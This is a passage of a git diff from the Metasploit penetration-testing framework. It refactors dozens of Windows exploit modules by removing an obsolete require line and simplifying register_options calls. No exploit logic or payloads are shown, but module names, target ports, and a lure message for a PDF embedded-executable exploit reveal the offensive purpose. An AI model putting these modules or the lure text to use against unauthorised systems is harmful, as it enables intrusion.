for automatic target (English, French, Italian, ...)", 'English']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb index a6ec6d8d85..79d2d19558 100644 --- a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb +++ b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(2103), OptString.new('DNAME', [ true, "The DNS hostname of the target" ]), - ], self.class) + ]) end def autofilter diff --git a/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb index 2af7cccba2..f04bc9a3f3 100644 --- a/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb +++ b/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb index 8fe0d02d1d..19b4c880a3 100644 --- a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb +++ b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -75,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), OptString.new('URIPATH', [ true, "The URI to use (do not change).", "/" ]), OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ]) - ], self.class) + ]) deregister_options('SSL', 'SSLVersion') # Just for now end diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb index de613c1c99..3ab54e7fb7 100644 --- a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb +++ b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -71,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), OptString.new('URIPATH', [ true, "The URI to use (do not change).", "/" ]), OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ]) - ], self.class) + ]) deregister_options('SSL', 'SSLVersion') # Just for now end diff --git a/modules/exploits/windows/emc/alphastor_agent.rb b/modules/exploits/windows/emc/alphastor_agent.rb index 7839770d97..0210caf6b4 100644 --- a/modules/exploits/windows/emc/alphastor_agent.rb +++ b/modules/exploits/windows/emc/alphastor_agent.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'May 27 2008', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(41025)], self.class) + register_options([Opt::RPORT(41025)]) end def exploit diff --git a/modules/exploits/windows/emc/alphastor_device_manager_exec.rb b/modules/exploits/windows/emc/alphastor_device_manager_exec.rb index 8aa7292ccb..6fed8c957e 100644 --- a/modules/exploits/windows/emc/alphastor_device_manager_exec.rb +++ b/modules/exploits/windows/emc/alphastor_device_manager_exec.rb @@ -1,5 +1,3 @@ -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(3000) - ], self.class ) + ]) end def check diff --git a/modules/exploits/windows/emc/networker_format_string.rb b/modules/exploits/windows/emc/networker_format_string.rb index 8c96c8ebe2..b5fee3a390 100644 --- a/modules/exploits/windows/emc/networker_format_string.rb +++ b/modules/exploits/windows/emc/networker_format_string.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb index a75d439009..89f770269d 100644 --- a/modules/exploits/windows/emc/replication_manager_exec.rb +++ b/modules/exploits/windows/emc/replication_manager_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(6542) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb b/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb index 3adf2f2f65..602b2e7698 100644 --- a/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb +++ b/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/abbs_amp_lst.rb b/modules/exploits/windows/fileformat/abbs_amp_lst.rb index 3b4ad817a3..0e34800b2a 100644 --- a/modules/exploits/windows/fileformat/abbs_amp_lst.rb +++ b/modules/exploits/windows/fileformat/abbs_amp_lst.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.lst']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb b/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb index 8fb6d3e430..b872f8e50c 100644 --- a/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb +++ b/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.plp']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/acdsee_xpm.rb b/modules/exploits/windows/fileformat/acdsee_xpm.rb index e9df444bb5..21212d7979 100644 --- a/modules/exploits/windows/fileformat/acdsee_xpm.rb +++ b/modules/exploits/windows/fileformat/acdsee_xpm.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.xpm']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb index 7e7812e50e..da463b5263 100644 --- a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb +++ b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Aug 28 2012', 'DefaultTarget' => 0)) - register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.exp']),], self.class) + register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.exp']),]) end diff --git a/modules/exploits/windows/fileformat/activepdf_webgrabber.rb b/modules/exploits/windows/fileformat/activepdf_webgrabber.rb index 7c625798f0..e487e13a06 100644 --- a/modules/exploits/windows/fileformat/activepdf_webgrabber.rb +++ b/modules/exploits/windows/fileformat/activepdf_webgrabber.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = LowRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb b/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb index 8e05a4b086..1abf1abdc6 100644 --- a/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb +++ b/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -47,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb index 8c5e737b33..6b64e13e41 100644 --- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -59,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb index e41db7aeae..7cfef178a6 100644 --- a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb +++ b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -68,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb index d2af4a71e4..239fe7706a 100644 --- a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb +++ b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -68,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb index 0ad971fa75..b3368be5dc 100644 --- a/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb +++ b/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -74,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/adobe_geticon.rb b/modules/exploits/windows/fileformat/adobe_geticon.rb index cb4a602a6f..ab4ccb4240 100644 --- a/modules/exploits/windows/fileformat/adobe_geticon.rb +++ b/modules/exploits/windows/fileformat/adobe_geticon.rb @@ -4,7 +4,6 @@ ## require 'msf/core/exploit/pdf' -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -67,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb index 0f7e4e0a76..328912303b 100644 --- a/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb +++ b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.eps']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb index 9cd953b2de..f5b0e502a2 100644 --- a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb +++ b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -54,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/adobe_libtiff.rb b/modules/exploits/windows/fileformat/adobe_libtiff.rb index 1382f09a30..b93724b2b1 100644 --- a/modules/exploits/windows/fileformat/adobe_libtiff.rb +++ b/modules/exploits/windows/fileformat/adobe_libtiff.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -81,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/adobe_media_newplayer.rb b/modules/exploits/windows/fileformat/adobe_media_newplayer.rb index c11e6b9043..89812cded0 100644 --- a/modules/exploits/windows/fileformat/adobe_media_newplayer.rb +++ b/modules/exploits/windows/fileformat/adobe_media_newplayer.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -83,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb index 30aa1cec60..455fb32e3f 100644 --- a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb +++ b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']), OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area', "To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb index 369443f74e..791b209971 100644 --- a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb +++ b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb @@ -15,8 +15,6 @@ # -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -65,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']), OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area', "To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb index bcb30ff04d..fef900e8df 100644 --- a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb +++ b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -76,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/adobe_toolbutton.rb b/modules/exploits/windows/fileformat/adobe_toolbutton.rb index 0a3e8b3a95..8cfa23a343 100644 --- a/modules/exploits/windows/fileformat/adobe_toolbutton.rb +++ b/modules/exploits/windows/fileformat/adobe_toolbutton.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb b/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb index 265eb15565..b636ed4904 100644 --- a/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb +++ b/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -74,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/adobe_utilprintf.rb b/modules/exploits/windows/fileformat/adobe_utilprintf.rb index 307fefe4e6..65030d004d 100644 --- a/modules/exploits/windows/fileformat/adobe_utilprintf.rb +++ b/modules/exploits/windows/fileformat/adobe_utilprintf.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -47,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb index 9321d5dbc4..f15140a19a 100644 --- a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/fileformat/altap_salamander_pdb.rb b/modules/exploits/windows/fileformat/altap_salamander_pdb.rb index 0862629e6e..f5aa19eadd 100644 --- a/modules/exploits/windows/fileformat/altap_salamander_pdb.rb +++ b/modules/exploits/windows/fileformat/altap_salamander_pdb.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf-salamander-pdb.exe']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/aol_desktop_linktag.rb b/modules/exploits/windows/fileformat/aol_desktop_linktag.rb index b64b1dba03..54fcb1bb7a 100644 --- a/modules/exploits/windows/fileformat/aol_desktop_linktag.rb +++ b/modules/exploits/windows/fileformat/aol_desktop_linktag.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/fileformat/aol_phobos_bof.rb b/modules/exploits/windows/fileformat/aol_phobos_bof.rb index fd2dddf5f8..6690e58859 100644 --- a/modules/exploits/windows/fileformat/aol_phobos_bof.rb +++ b/modules/exploits/windows/fileformat/aol_phobos_bof.rb @@ -27,8 +27,6 @@ # http://www.rec-sec.com ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -77,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb b/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb index e656115c4d..5fea871ab5 100644 --- a/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb +++ b/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.mov' ]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb b/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb index f52c94d008..952f1af12b 100644 --- a/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.mov']), - ], self.class) + ]) end def sort_bytes(data) diff --git a/modules/exploits/windows/fileformat/apple_quicktime_texml.rb b/modules/exploits/windows/fileformat/apple_quicktime_texml.rb index f8f8cb9c45..79a58f4429 100644 --- a/modules/exploits/windows/fileformat/apple_quicktime_texml.rb +++ b/modules/exploits/windows/fileformat/apple_quicktime_texml.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -73,7 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.xml']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/audio_coder_m3u.rb b/modules/exploits/windows/fileformat/audio_coder_m3u.rb index b46808db8f..d7ed0f75ee 100644 --- a/modules/exploits/windows/fileformat/audio_coder_m3u.rb +++ b/modules/exploits/windows/fileformat/audio_coder_m3u.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/audio_wkstn_pls.rb b/modules/exploits/windows/fileformat/audio_wkstn_pls.rb index 74d8300822..2d1d2dd3c8 100644 --- a/modules/exploits/windows/fileformat/audio_wkstn_pls.rb +++ b/modules/exploits/windows/fileformat/audio_wkstn_pls.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/audiotran_pls.rb b/modules/exploits/windows/fileformat/audiotran_pls.rb index 43aa6646dc..f010b266a2 100644 --- a/modules/exploits/windows/fileformat/audiotran_pls.rb +++ b/modules/exploits/windows/fileformat/audiotran_pls.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/audiotran_pls_1424.rb b/modules/exploits/windows/fileformat/audiotran_pls_1424.rb index 7310aa459c..8fdb432af2 100644 --- a/modules/exploits/windows/fileformat/audiotran_pls_1424.rb +++ b/modules/exploits/windows/fileformat/audiotran_pls_1424.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb b/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb index 41f0c09caa..5462a067bc 100644 --- a/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb +++ b/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [false, 'The playlist name', 'msf.plf']) - ], self.class) + ]) end def junk(n=1) diff --git a/modules/exploits/windows/fileformat/bacnet_csv.rb b/modules/exploits/windows/fileformat/bacnet_csv.rb index 35d8e5431d..225416c75c 100644 --- a/modules/exploits/windows/fileformat/bacnet_csv.rb +++ b/modules/exploits/windows/fileformat/bacnet_csv.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new( 'FILENAME', [ false, 'The file name.', 'msf.csv' ]), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb index 27865cb896..9f68a26ff2 100644 --- a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb +++ b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require "msf/core" - class MetasploitModule < Msf::Exploit Rank = NormalRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit register_options([ OptString.new("FILENAME", [true, "INI file", "NetConfig.ini"]), OptString.new("SECTION", [true, "Section name", "Edit Me"]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb index 44b52c9745..a1181e1289 100644 --- a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb +++ b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/blazedvd_plf.rb b/modules/exploits/windows/fileformat/blazedvd_plf.rb index 1496c6bb45..5fcb79485e 100644 --- a/modules/exploits/windows/fileformat/blazedvd_plf.rb +++ b/modules/exploits/windows/fileformat/blazedvd_plf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -74,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']), - ], self.class) + ]) end def rop_chain diff --git a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb index 4d501e88fc..421652c287 100644 --- a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb 